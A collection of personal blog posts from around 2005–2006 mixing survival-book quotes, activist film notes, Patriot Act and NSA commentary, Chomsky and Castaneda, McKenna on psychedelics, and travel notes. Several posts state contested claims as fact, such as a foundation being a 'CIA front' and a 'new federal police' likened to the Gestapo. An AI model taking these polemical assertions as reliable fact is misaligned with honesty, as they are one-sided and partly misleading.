tend to promote and tolerate open hostility to higher education, and academia. It is not uncommon for professors and other academics to be censored or even arrested. Free expression in the arts and letters is openly attacked. 12. Obsession with Crime and Punishment - Under fascist regimes, the police are given almost limitless power to enforce laws. The people are often willing to overlook police abuses and even forego civil liberties in the name of patriotism. There is often a national police force with virtually unlimited power in fascist nations. 13. Rampant Cronyism and Corruption - Fascist regimes almost always are governed by groups of friends and associates who appoint each other to government positions and use governmental power and authority to protect their friends from accountability. It is not uncommon in fascist regimes for national resources and even treasures to be appropriated or even outright stolen by government leaders. 14. Fraudulent Elections - Sometimes elections in fascist nations are a complete sham. Other times elections are manipulated by smear campaigns against or even assassination of opposition candidates, use of legislation to control voting numbers or political district boundaries, and manipulation of the media. Fascist nations also typically use their judiciaries to manipulate or control elections.

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Civilization changes us

Despite the fact that small children lose body heat faster than adults, they often survive in the same conditions better than experienced hunters, better than physically fit hikers, better than former members of the military or skilled sailors. And yet one of the groups with the poorest survival rates is children ages seven to twelve. Clearly, those youngest children have a deep secret that trumps knowledge and experience. Scientists do not know exactly what that secret is, but the answer may lie in basic childhood traits. At that age, the brain has not yet developed certain abilities. For example, small children do not create the same sort of mental maps adults do. They don’t understand traveling to a particular place, so they don’t run to get somewhere beyond their field of vision. They also follow their instincts. If it gets cold, they crawl into a hollow tree to get warm. If they’re tired, they rest, so they don’t get fatigued. If they’re thirsty, they drink. They try to make themselves comfortable and staying comfortable helps keep them alive… The secret may also lie in the fact that they do not yet have the sophisticated mental mapping ability that adults have, and so do not try to bend the map. They remap the world they’re in. Children between the ages of seven and twelve, on the other hand, have some adult characteristics, such as mental mapping, but they don’t have adult judgment. They don’t ordinarily have the strong ability to control emotional responses and to reason through their situation. They panic and run. They look for shortcuts. If a trail peters out, they keep going, ignoring thirst, hunger, and cold, until they fall over. In learning to think more like adults, it seems, they have suppressed the very instincts that might have helped them.

-Laurence Gonzales, Deep Survival, pg 170

In the beginner’s mind there are many possibilities. In the expert’s mind there are few.

-Shunryu Suzuki

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Trudell: Because Ward Churchill isn’t radical enough anymore

Last night I went to a showing of Trudell, a film about John Trudell, the Native American poet/activist. He lead the Native American occupation of Alcatraz Island for 21 months, and, following that, was the National Spokesman of the American Indian Movement during the Pine Ridge Shootout. After burning an American flag on the steps of the J. Edgar Hoover FBI Building, his pregnant wife, three children, and mother in law were burned alive in a suspicious arson fire. In the words of the FBI “He’s extremely eloquent… therefore extremely dangerous.” Speaking of the FBI: he’s said to have one of the longest FBI files in history, at over 17,000 pages.

His music is interesting — it’s spoken word poetry set to traditional Native American music, with a little blues guitar thrown in for good measure.

He’ll be here speaking today, but I can’t go, as the pre-trip meeting for this weekend’s snowcamping trip is at the same time.

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Alternative Media Censorship

Democracy Now’s parent station, Pacifica Radio, has apparently been funded by the Ford Foundation — a CIA front.

Take Pacifica / DEMOCRACY NOW, an alternative radio network with annual revenues of $10 million in 2000, whose National Program Director was paid $63,000 in that year. In the early 1950s—when the CIA was using the Ford Foundation to help fund a non-communist “parallel left” as a liberal Establishment alternative to an independent, anti-Establishment revolutionary left—the Pacifica Foundation was given a $150,000 grant in 1951 by the Ford Foundation’s Fund for Education. According to James Ledbetter’s book Made Possible By…, “the Fund’s first chief was Alexander Fraser, the president of the Shell Oil Company.”

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NSA, CIA, and NORTHCOM

William Arkin sheds more light on the NSA’s recent move.

Aurora is already a reconnaissance satellite downlink and analytic center focusing on domestic warning. The NSA and CIA join U.S. Northern Command (NORTHCOM) in Colorado. NORTHCOM is post 9/11 the U.S. military command responsible for homeland defense. … According to Government Executive Magazine — thanks DP — “NSA is building a massive data storage facility in Colorado, which will be able to hold the electronic equivalent of the Library of Congress every two days.” This new NSA data warehouse is the hub of “data mining” and analysis development, allowing the eavesdropping agency to develop and make better use of the unbelievabytes of data it collects but does not exploit.

Speaking of spying, according to the Army there is no absolute ban on [military] intelligence components collecting U.S. person information.

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The rebels will survive

Psychologists who study survival say that people who are rule followers don’t do as well as those who are of independent mind and spirit. When a patient is told that he has six months to live, he has two choices: to accept the news and die, or to rebel and live. People who survive cancer in the face of such a diagnosis are notorious. The medical staff observes that they are “bad patients,” unruly, troublesome. They don’t follow directions. They question everything. They’re annoying. They’re survivors. The Tao Te Ching says: The rigid person is a disciple of death; The soft, supple, and delicate are lovers of life.

-Laurence Gonzales, Deep Survival, pg 85

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Arboretum Shelter

When Mike and I were hiking around in the Arboretum a few months ago (the same day I fell off a cliff), we discovered a man-made shelter of sorts, hiding well off any trails. Yesterday, I went back there alone and took photos, along with some video and commentary for all to enjoy. Of course, I’m not going to say exactly where it is — I don’t want it to be destroyed — but, if you ask me, I’ll take you there.

Sometime in the spring, I may try to spend a few nights there.

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Deep Survival: Who Lives, Who Dies, and Why

When I first received Laurence Gonzales’ Deep Survival: Who Lives, Who Dies, and Why, I expected it to be a dry survival manual — specific solutions to specific situations. After the few few pages of the book, my expectations were quickly shot to the ground and the book managed to raise itself to the status of one of the best books I’ve ever read. Rather than dry disaster reports and analysis, I found the book to be part brain science, part stoic philosophy, and part zen teachings. It is a survival manual, but not like anything you expect. I highly recommend it to anyone, regardless of your interest in wilderness, as, more than anything, it’s a book about how to live.

Section 9

Unfathomed Dangers in Patriot Act Reauthorization: Patriot Police

A provision in the “Patriot Act” creates a new federal police force with power to violate the Bill of Rights. You might think that this cannot be true as you have not read about it in newspapers or heard it discussed by talking heads on TV.

Go to House Report 109-333 -USA PATRIOT IMPROVEMENT AND REAUTHORIZATION ACT OF 2005 and check it out for yourself. Sec. 605 reads:

There is hereby created and established a permanent police force, to be known as the ‘United States Secret Service Uniformed Division’.”

This new federal police force is “subject to the supervision of the Secretary of Homeland Security.”

The new police are empowered to “make arrests without warrant for any offense against the United States committed in their presence, or for any felony cognizable under the laws of the United States if they have reasonable grounds to believe that the person to be arrested has committed or is committing such felony.”

The new police are assigned a variety of jurisdictions, including “an event designated under section 3056(e) of title 18 as a special event of national significance” (SENS).

A special event of national significance” is neither defined nor does it require the presence of a “protected person” such as the president in order to trigger it. Thus, the administration, and perhaps the police themselves, can place the SENS designation on any event. Once a SENS designation is placed on an event, the new federal police are empowered to keep out and to arrest people at their discretion.

The language conveys enormous discretionary and arbitrary powers. What is “an offense against the United States”? What are “reasonable grounds”?

You can bet that the Alito/Roberts court will rule that it is whatever the executive branch says.

The obvious purpose of the act is to prevent demonstrations at Bush/Cheney events. However, nothing in the language limits the police powers from being used only in this way. Like every law in the US, this law also will be expansively interpreted and abused. It has dire implications for freedom of association and First Amendment rights. We can take for granted that the new federal police will be used to suppress dissent and to break up opposition. The Brownshirts are now arming themselves with a Gestapo.

Many naive Americans will write to me to explain that this new provision in the reauthorization of the “Patriot Act” is necessary to protect the president and other high officials from terrorists or from harm at the hands of angry demonstrators: “No one else will have anything to fear.” Some will accuse me of being an alarmist, and others will say that it is unpatriotic to doubt the law’s good intentions.

Americans will write such nonsense despite the fact that the president and foreign dignitaries are already provided superb protection by the Secret Service. The naive will not comprehend that the president cannot be endangered by demonstrators at SENS at which the president is not present. For many Americans, the light refuses to turn on.

In Nazi Germany did no one but Jews have anything to fear from the Gestapo?

By Stalin’s time Lenin and Trotsky had eliminated all members of the “oppressor class,” but that did not stop Stalin from sending millions of “enemies of the people” to the Gulag.

It is extremely difficult to hold even local police forces accountable. Who is going to hold accountable a federal police protected by Homeland Security and the president?

Ammo for writing your Rep.: House Report 109-333 - USA PATRIOT IMPROVEMENT AND REAUTHORIZATION ACT OF 2005

Title 18, Part II, Chapter 203, Sec. 3056.

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Chomsky

There’s a good interview of Chomsky over at Seattle Weekly, by local reporter Geov Parrish. Chomsky discusses our current one party system, the war on terror, and the current administration’s policies.

They’re not stupid. They know that they’re increasing the threat of a serious catastrophe. But that’s a generation or two away. Who cares? There’s basically two principles that define the Bush administration policies: stuff the pockets of your rich friends with dollars, and increase your control over the world. Almost everything follows from that. If you happen to blow up the world, well, you know, it’s somebody else’s business. Stuff happens, as Rumsfeld said.

Over at The Alternative Press Review, there’s a transcript of Chomsky’s lecture, “War on Terror”.

To take one of these official definitions, terrorism is “the calculated use of violence or threat of violence to attain goals that are political, religious, or ideological in nature…through intimidation, coercion, or instilling fear,” typically targeting civilians. The British government’s definition is about the same: “Terrorism is the use, or threat, of action which is violent, damaging or disrupting, and is intended to influence the government or intimidate the public and is for the purpose of advancing a political, religious, or ideological cause.” These definitions seem fairly clear and close to ordinary usage. There also seems to be general agreement that they are appropriate when discussing the terrorism of enemies. But a problem at once arises. These definitions yield an entirely unacceptable consequence: it follows that the US is a leading terrorist state… … What about the boundary between terror and resistance? One question that arises is the legitimacy of actions to realize “the right to self-determination, freedom, and independence, as derived from the Charter of the United Nations, of people forcibly deprived of that right…, particularly peoples under colonial and racist regimes and foreign occupation…” Do such actions fall under terror or resistance? … There are other such examples. We might want to bear them in mind when we read Bush II’s impassioned pronouncement that “the United States makes no distinction between those who commit acts of terror and those who support them, because they’re equally as guilty of murder,” and “the civilized world must hold those regimes to account.” This was proclaimed to great applause at the National Endowment for Democracy, a few days after Venezuela’s extradition request had been refused. Bush’s remarks pose another dilemma. Either the US is part of the civilized world, and must send the US air force to bomb Washington; or it declares itself to be outside the civilized world. The logic is impeccable, but fortunately, logic has been dispatched as deep into the memory hole as moral truisms.

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The Teachings of Don Juan

I’ve finally finished reading Carlos Castaneda‘s The Teachings of Don Juan: A Yaqui Way of Knowledge. The book documents Casteneda’s time with a Yaqui shaman named Juan Matus. In the book, Don Juan takes Casteneda, a then young anthropology student at UCLA, under his wing as an apprentice shaman, teaching him the ways of Mescalito, Devil’s Weed, and a smoke mixture containing mushroom. (During my reading, a number of people asked if the book served as a sort of manual for these entheogens. Spiritual, perhaps, but not practical.)

There’s plenty of controversy surrounding the series of books, of which The Teachings of Don Juan is the first, but I really don’t see why it matters if Don Juan was a real person, or whether he was created as a medium for the book’s message — or whether Castenada simply hallucinated the whole thing. The books explores many interesting ideas, many of which would do good to be considered by people today.

Don Juan’s personification of not only the plants mentioned in the book, but also non-living objects, such as his pipe, have been imprinted on my mind. Regardless of whether you honestly suscribe to the indigineous way of thinking — that, in Don Juan’s case, the peyote plant is actually a teacher named Mescalito with various human characteristics — it is undeniably a healthy way of living.

Try this: take one day, or one hour, out of your life and treat everything you come in contact with — from your underwear, to your boss(es)/teacher(s)/parent(s)/friend(s), to your food — not as an item to be exploited but as a being to enter into a relationship with. If you look at a tree and see dollar bills, you’ll treat it one way. If you look at a tree and see a tree, you’ll treat it another. Which way of thinking, do you think, children seven generations from now will thank you for? (Those who listened to the Derrick Jenson interview I previously linked to will find this concept not so new.)

I look forward to continuing Castaneda’s series.

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They should do this every year

Hey Pig Monkey, We noticed that one month from today is the 4 year anniversary of when you first began hosting with us! Time flies, eh? As a thank you for your loyalty/patronage/what have you we have created a $20 DreamHost gift certificate for you! This email is it! You can use the gift certificate on your own account (greedy!) or you can send it to somebody else!

I switched to Dreamhost in April 2002.

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Off to the Mountain

I’m heading up to Baker in a couple hours and spending the night for an Avalanche Awareness course. I already have plenty to say about it (the lecture portion was last night), but no time to write it down.

I should be back Saturday night around 8-9PM.

In unrelated news: Check out In the Wake’s latest blog post (“Coming up on In the Wake”) for the questions I sent in a couple days ago.

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The Ends or the Means

Among various other interesting topics in this interview, Derrick Jensen discusses the mean justifying the ends or the ends justifying the means (he prefers the later). The discussion revolves around this quote by Ward Churchill:

What I want is for civilization to stop killing my people’s children. If that can be accomplished peacefully, I will be glad. If signing a petition will get those in power to stop killing Indian children, I will put my name at the top of the list. If marching in a protest will do it, I will walk as far as you want. If holding a candle will do it, I will hold two. If singing protest songs will do it, I will sing whatever songs you want me to sing. If living simply will do it, I will live extremely simply. If voting will do it, I will vote.

But all those things are allowed by those in power. And none of those things will ever stop those in power from killing Indian children. They never have and they never will. Given that my people’s children are being killed, you have no grounds to complain at whatever means I use to protect the lives of my people’s children. And I will do whatever it takes.

This is a subject that Vavrek and I were mulling over a while ago, in relation to Sean‘s statement that “Ideology will not stand against the Truth”. Initially, I agreed with Vavrek about there being no absolute truth — that it’s all subjective reality. I have no reason to think that my idea of freedom or any of my ideals are any more correct than anyone else’s (Contradiction? The reason I’m against sean’s new path is because I feel that my ideal of not forcing others into my culture is somehow superior than his ideal of forcing his version of freedom). This is the same justification I have against violence. What right do I have to say that another man should die — or be locked away in a nut house — because he thinks or acts differently than I? Yet now, I do think there is some kind of Truth out there. I think we all agree on the same utopian ideal of a peaceful, sustainable, comfortable existence.

Vavrek “still maintain[ed] that truth is inseperable from a point of view. Everything is connected.” He continued, saying “the great mistake of our recent past was the imaginary division of all things into individual parts. It came with the invention of the clock, thinking that everything works in seperate gears and wheels. On the surface, it just might seem this way. You can’t see anything without the seer.” He disagreed with my idea that we all have the same end in mind.

Bringing this back to the ends or the means, I continued my train of thought on Sean’s statement.

I disagree with Sean in that I no longer believe that the ends justifies the means. The path you take to this ideal is equally, if not more so, important as the end, because the end is just that — an IDEAL. As such, I believe it’s unattainable. We’ll not reach it in this lifetime, nor in one hundred. You can kill people for the Truth all you want, but, at the end of the day when you’ve not attained the unattainable, what have you done? Killed people. For nothing.

With this, Vavrek agreed.

After listening to Derrick’s interview, I’m rethinking it all over again.

It’s obiovus that his idea of the end is more practical and reality based than my abstract concept. Partly because of this, I think our two ideas are compatible. The ends is equally important as the means.

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Voluntary Servitude

I should like merely to understand how it happens that so many men, so many villages, so many cities, so many nations, sometimes suffer under a single tyrant who has no other power than the power they give him; who is able to harm them only to the extent to which they have the willingness to bear with him; who could do them absolutely no injury unless they preferred to put up with him rather than contradict him. - Etienne de La Boetie

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Anonymity Won’t Kill the Internet

Bruce Schneir has an essay on Wired about anonymity vs. accountability

The problem isn’t anonymity; it’s accountability. If someone isn’t accountable, then knowing his name doesn’t help. If you have someone who is completely anonymous, yet just as completely accountable, then — heck, just call him Fred.

History is filled with bandits and pirates who amass reputations without anyone knowing their real names.

EBay’s feedback system doesn’t work because there’s a traceable identity behind that anonymous nickname. EBay’s feedback system works because each anonymous nickname comes with a record of previous transactions attached, and if someone cheats someone else then everybody knows it.

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Wonder

When I came back from Vancouver last Sunday, I discovered a package waiting for me. It was a poster of Alex Grey‘s Wonder.

Wonder, beyond being a stunning piece of art, holds special significance for me. When I first saw it as the backdrop for the MutantFest flyer that Crimethinc sent me a couple years ago, it was not only the first of Alex Grey’s work that I had seen. It was the first time I’d heard of The Autonomous Mutant Festival, which introduced me to the idea of the T.A.Z., “a harmonious relationship with the earth”, and many of the other memes that shape my life.

Alex Grey's Wonder poster

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They don’t allow sharp objects on the train…

Tonight I’m heading back down south to pick up Nick. He’s spending the night here in Bellingham and, tomorrow, we’re taking the train up to Vancouver, B.C. for the Rant Meet, to celebrate RantMedia’s seventh birthday.

We’ll both be in Vancouver from 11:40AM on Saturday till 6:00PM on Sunday and only have plans Saturday night, so if you’re in the area or have suggestions for entertainment, you should email me (no later than tonight), call me (if you have the number), or email my phone (mobile@pig-monkey.com — short messages only).

We’re staying in a hostel on Granville Street.

Service Alert: Buses to cover Amtrak service North of Seattle, due to temporary closure of BNSF Railway tracks

January 6, 2006 4:00 p.m. PT

Due to a mudslide eight miles south of Edmonds, which blocked BNSF Railway-owned track, BNSF Railway has halted rail traffic through this Saturday evening.

As a result, Amtrak trains between Seattle and Vancouver, B.C., is being represented by substitute bus service.

The temporary bus substitution represents Amtrak Cascades trains 510, 513, 516 and 517, which operate between Seattle, Bellingham, Wash. and Vancouver, B.C. Intermediate stations affected are Edmonds, Everett and Mount Vernon.

The Seattle-Chicago Empire Builder will originate and terminate in Edmonds, with substitute bus service between Seattle and Edmonds.

Dear Amtrak Customer, Thank you for your inquiry. Knives or weapons of any kind are prohibited on Amtrak. We hope this information will be helpful. Sincerely, Brooke Amtrak Customer Service TRACKING NUMBER: A00000718100-00002723184 ——-Original Message——- From: pm@pig-monkey.com Sent: 28 Dec 05 18:51:12 To: Cc: Subject: General Inquiries Name: Amtrak Customer Email: pm@pig-monkey.com Address1: Address2: City: State: Zip/Postal: Country: United States Phone Number: Subject: General Inquiries Message: What is your policy on pocket knives and multitools with blades under 3.5” on the train?

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Re:Evolution

If the truth can be told so as to be understood, it will be believed. Human history represents such a radical break with the natural systems of biological organization that preceded it, that it must be the response to a kind of attractor, or dwell point that lies ahead in the temporal dimension. Persistently Western religions have integrated into their theologies the notion of a kind of end of the world, and I think that a lot of psychedelic experimentation sort of confirms this intuition, I mean, it isn’t going to happen according to any of the scenarios of orthodox religion, but the basic intuition, that the universe seeks closure in a kind of omega point of transcendence, is confirmed, it’s almost as though this object in hyperspace, glittering in hyperspace, throws off reflections of itself, which actually ricochet into the past, illuminating this mystic, inspiring that saint or visionary, and that out of these fragmentary glimpses of eternity we can build a kind of map, of not only the past of the universe, and the evolutionary egression into novelty, but a kind of map of the future, this is what shamanism is always been about, a shaman is someone who has been to the end, it’s someone who knows how the world really works, and knowing how the world really works means to have risen outside, above, beyond the dimensions of ordinary space, time, and casuistry, and actually seen the wiring under the board, stepped outside the confines of learned culture and learned and embedded language, into the domain of what Wittgenstein called “the unspeakable,” the transcendental presence of the other, which can be absanctioned, in various ways, to yield systems of knowledge which can be brought back into ordinary social space for the good of the community, so in the context of ninety percent of human culture, the shaman has been the agent of evolution, because the shaman learns the techniques to go between ordinary reality and the domain of the ideas, this higher dimensional continuum that is somehow parallel to us, available to us, and yet ordinarily occluded by cultural convention out of fear of the mystery I believe, and what shamans are, I believe, are people who have been able to de-condition themselves from the community’s instinctual distrust of the mystery, and to go into it, to go into this bewildering higher dimension, and gain knowledge, recover the jewel lost at the beginning of time, to save souls, cure, commune with the ancestors and so forth and so on. Shamanism is not a religion, it’s a set of techniques, and the principal technique is the use of psychedelic plants. What psychedelics do is they dissolve boundaries, and in the presence of dissolved boundaries, one cannot continue to close one’s eyes to the ruination of the earth, the poisoning of the seas, and the consequences of two thousand years of unchallenged dominator culture, based on monotheism, hatred of nature, suppression of the female, and so forth and so on. So, what shamans have to do is act as exemplars, by making this cosmic journey to the domain of the Gaian ideas, and then bringing them back in the form of art to the struggle to save the world. The planet has a kind of intelligence, that it can actually open a channel of communication with an individual human being. The message that nature sends is, transform your language through a synergy between electronic culture and the psychedelic imagination, a synergy between dance and idea, a synergy between understanding and intuition, and dissolve the boundaries that your culture has sanctioned between you, to become part of this Gaian supermind, I mean I think it’s fairly profound, it’s fairly apocalyptic. History is ending. I mean, we are to be the generation that witnesses the revelation of the purpose of the cosmos. History is the shock wave of the eschaton. History is the shock wave of eschatology, and what this means for those of us who will live through this transition into hyperspace, is that we will be privileged to see the greatest release of compressed change probably since the birth of the universe. The twentieth century is the shudder that announces the approaching cataracts of time over which our species and the destiny of this planet is about to be swept. If the truth can be told so as to be understood, it will be believed. The emphasis in house music and rave culture on physiologically compatible rhythms and this sort of thing is really the rediscovery of the art of natural magic with sound, that sound, properly understood, especially percussive sound, can actually change neurological states, and large groups of people getting together in the presence of this kind of music are creating a telepathic community of bonding that hopefully will be strong enough that it can carry the vision out into the mainstream of society. I think that the youth culture that is emerging in the nineties is an end of the millennium culture that is actually summing up Western civilization and pointing us in an entirely different direction, that we’re going to arrive in the third millennium, in the middle of an archaic revival, which will mean a revival of these physiologically empowering rhythm signatures, a new art, a new social vision, a new relationship to nature, to feminism, to ego. All of these things are taking hold, and not a moment too soon.

— Terrence Mckenna, Re:Evolution

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Shamans of the Amazon

Go now. Watch Shamans of the Amazon. The documentary (briefly) covers a variety of topics, such as the evils of oil companies in Ecuador, but focuses mainly on Ayahuasca use by the indigenous shamans of the Amazon.

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Back in the ‘ham

I made it back up north. We have new bathroom stalls.

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The myspace.com plague

http://attrition.org/news/content/05-12-31.001.html

A while back, we used to run an image gallery with over 5,000 pictures of all types. During this time, more and more web sites would inline link to the images. Inline linking means the image would display on their page, as if it was their own or hosted on their own server. This caused the image to display fine, but be served up by our server and use our bandwidth. Early on, gallery traffic was responsible for a couple gigs of traffic, but quickly grew. After a couple months, this got to be quite a burden to this server and our hosting situation. On a normal day, we would push out over 10 gigs of traffic from the gallery alone, often enough to saturate the link during peak hours.

[..]

In the past 48 hours (29th/30th), there have been just under 20,000 link attempts from 928 profiles! If you would like to cause yourself physical discomfort, feel free to wade through a list of the profiles that have partaken in the abuse. I warn you, many of these are physically nauseating and make grown men cry due to the “terrible grammar, horrible page formatting, and annoying graphics” as Rick Forno once said.

When you hear people talk of online communities such as myspace.com, remember that they are not some fabulous social network advancing our culture. They are the scum of the internet, dragging it further down the sewers day by day. They are full of the most shallow, vapid and weak minded people our society has to offer. They are the next generation, and that scares me.

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MMVI

Think about how much you’ve grown the past year. Books read, experience gained. I enjoy the new year.

Resolutions?

Expand your mind. Question authority.

Expand your consciousness. Question reality.

Eclipse the Past, Usurp the Future

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